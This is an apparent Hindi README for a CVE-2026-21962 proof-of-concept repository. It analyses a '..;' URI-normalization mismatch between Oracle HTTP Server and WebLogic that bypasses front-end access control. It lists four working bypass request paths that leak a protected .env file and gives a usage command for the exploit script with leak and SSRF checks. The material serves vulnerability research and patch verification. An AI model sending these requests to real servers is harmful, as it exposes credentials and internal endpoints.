CVE-2026-21962 — Oracle HTTP Server / WebLogic Server प्रॉक्सी प्लग-इन

URI नॉर्मलाइज़ेशन असंगतता के माध्यम से एक्सेस-कंट्रोल बाईपास

CVE-2026-21962 (अनुचित एक्सेस कंट्रोल, CVSS 10.0) के लिए एक स्वतंत्र रूप से पुनरुत्पादित एक्सप्लॉइट और विश्लेषण, Oracle HTTP Server / Apache HTTP Server के लिए Oracle WebLogic Server प्रॉक्सी प्लग-इन में।

स्थिति: सत्यापित लाइव OHS 12.2.1.4.0 और 14.1.2.0.0 के विरुद्ध, जो WebLogic Server 12.2.1.4 के सामने है।

---

1. TL;DR

फ्रंट-एंड (OHS + mod_wl_ohs) और बैकएंड (WebLogic) ..; को अलग-अलग तरीके से नॉर्मलाइज़ करते हैं। एक अनुरोध जैसे:

GET /foo/..;/internal-admin/cont/.env HTTP/1.1

फ्रंट-एंड <Location /internal-admin> सुरक्षा नियम को बाईपास करता है क्योंकि OHS ..; को कॉलैप्स नहीं करता, जबकि WebLogic करता है (; = सर्वलेट पाथ-पैरामीटर, .. = पैरेंट)। फिर बैकएंड संरक्षित पथ को सर्व करता है। परिणाम: फ्रंट-एंड एक्सेस कंट्रोल बाईपास (CWE-284)।

देखें analysis/root-cause.md।

2. दायरा — वास्तव में क्या सत्यापित किया गया

सत्यापित (पुनरुत्पादित)

• OHS 12.2.1.4.0 + mod_wl_ohs (WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848) जो WebLogic Server 12.2.1.4 के सामने है।
• OHS 14.1.2.0.0 + mod_wl_ohs (WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137) जो WebLogic Server 12.2.1.4 के सामने है।
• बाईपास वेरिएंट (सभी संरक्षित .env लीक करते हैं):
  • /foo/..;/internal-admin/cont/.env
  • /foo/..%3b/internal-admin/cont/.env
  • /foo/..;jsessionid=xxxx/internal-admin/cont/.env
  • /foo/%2e%2e;/internal-admin/cont/.env
• सीधा (कैनोनिकल) पथ ब्लॉक है (404), जो बाईपास को साबित करता है।
• प्रतिक्रिया में X-ORACLE-DMS-* हेडर होते हैं, जो साबित करते हैं कि यह एक वास्तविक बैकएंड (WebLogic) प्रतिक्रिया है।
• बैकएंड एक्सेस लॉग दिखाता है कि अनुरोध /internal-admin/... पर नॉर्मलाइज़ किया गया था (GET /foo/../internal-admin/... 200)।
• पैच-समतुल्य A/B: फ्रंट-एंड नॉर्मलाइज़ेशन ठीक होने पर, वही अनुरोध ब्लॉक है (देखें evidence/)।
• Ashwesker-परिवार "RCE" URI उसी कमजोर डिप्लॉयमेंट पर 404 लौटाते हैं (देखें poc-factcheck.md)।

सत्यापित नहीं

• WebLogic Server प्रॉक्सी प्लग-इन IIS के लिए (isapi_wl, 12.2.1.4.0 में प्रभावित)। समान तंत्र की उम्मीद है (बैकएंड पर सर्वलेट पाथ रिज़ॉल्यूशन), लेकिन इसे Windows पर पुनरुत्पादित नहीं किया गया।
• आधिकारिक पैच किए गए बाइनरी (Oracle SSO-गेटेड)। पैच विश्लेषण दो सार्वजनिक कमजोर बिल्ड्स का बाइनरी डिफ + एक पैच-समतुल्य प्रदर्शन है (analysis/patch-analysis.md)।
• डेटा डिस्क्लोज़र / SSRF से परे कोई भी RCE श्रृंखला। यह प्रोजेक्ट डेटा लीक के साथ एक एक्सेस-कंट्रोल बाईपास और एक SSRF-प्राइमिंग परिदृश्य प्रदर्शित करता है; यह OS कमांड निष्पादन नहीं प्रदर्शित करता है, और न ही कोई विश्वसनीय सार्वजनिक PoC करता है।

3. पर्यावरण

भूमिका	घटक	संस्करण
फ्रंट-एंड	Oracle HTTP Server	12.2.1.4.0 / 14.1.2.0.0
प्लग-इन	mod_wl_ohs	12.2.1.4 (190912) / 14.1.2 (250908)
बैकएंड	Oracle WebLogic Server	12.2.1.4
संरक्षित ऐप	/internal-admin/cont/.env (निर्मित क्रेडेंशियल)	—

उपयोग की गई फ्रंट-एंड कॉन्फ़िगरेशन (न्यूनतम ट्रिगर):

<Location /foo>
  WLSRequest ON
  WebLogicCluster <backend>:7101
</Location>

<Location /internal-admin>
  ErrorDocument 404 'OHS: Disallowed location'
  Redirect 404 /
</Location>

4. कमजोर बनाम पैच किया हुआ (A/B)

समान अनुरोध, समान फ्रंट-एंड, समान बैकएंड — केवल फ्रंट-एंड का ..; का हैंडलिंग बदला गया है।

GET /foo/..;/internal-admin/cont/.env HTTP/1.1

डिप्लॉयमेंट	HTTP	लीक	बैकएंड तक पहुंच
कमजोर	200	हाँ (.env क्रेडेंशियल)	हाँ (X-ORACLE-DMS-*)
पैच किया हुआ (ठीक किया गया नॉर्मलाइज़ेशन)	404	नहीं	नहीं

कच्चा सबूत (अनुरोध / प्रतिक्रिया / सर्वर लॉग):

• evidence/vulnerable/
• evidence/patched/

5. उपयोग

python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL

• --auto-proxy : WLSRequest प्रॉक्सी उपसर्ग (जैसे /foo) का स्वतः पता लगाएं।
• -c : बैकएंड पर संरक्षित पथ (डिफ़ॉल्ट internal-admin/cont/.env)।
• --check LEAK|SSRF|ALL।
• बैकएंड-प्रतिक्रिया सत्यापन X-ORACLE-DMS-* हेडर का उपयोग करता है; नियंत्रण (सीधा) अनुरोध को सकारात्मक निर्णय के लिए ब्लॉक किया जाना चाहिए।

विवरण के लिए exploit/README.md देखें। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिन्हें आप परीक्षण करने के लिए अधिकृत हैं।

6. फ़ाइलें

.
├── README.md                     यह फ़ाइल
├── exploit/
│   ├── CVE-2026-21962.py         सत्यापित PoC (निर्धारक लीक जांच)
│   └── README.md
├── evidence/
│   ├── vulnerable/               request.txt, response.txt, server-log.txt
│   └── patched/                  request.txt, response.txt, server-log.txt
├── analysis/
│   ├── root-cause.md             नॉर्मलाइज़ेशन असंगतता विश्लेषण
│   └── patch-analysis.md         बाइनरी डिफ + पैच-समतुल्य A/B
└── poc-factcheck.md              सार्वजनिक-PoC विश्वसनीयता तालिका + प्रति-PoC विवरण

सक्रिय डिटेक्शन / मैपिंग टूलिंग (फिंगरप्रिंट, ब्लाइंड प्रोब, नॉर्मलाइज़-मैप) जो संरक्षित पथ जाने बिना काम करती है, अलग से ../../probe/ में रखी गई है।

अखंडता

• exploit/CVE-2026-21962.py SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75a

7. संदर्भ

• Oracle CPU (जनवरी 2026): https://www.oracle.com/security-alerts/cpujan2026.html
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-21962
• CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-21962
• मूल शोधकर्ता: https://github.com/gregk4sec/cve-2026-21962

8. जिम्मेदार उपयोग

यह सामग्री भेद्यता अनुसंधान और रक्षात्मक सत्यापन के लिए प्रदान की गई है। बिना प्राधिकरण के सिस्टमों के विरुद्ध उपयोग न करें। सबूत में .env सामग्री निर्मित है; कोई वास्तविक क्रेडेंशियल शामिल नहीं हैं।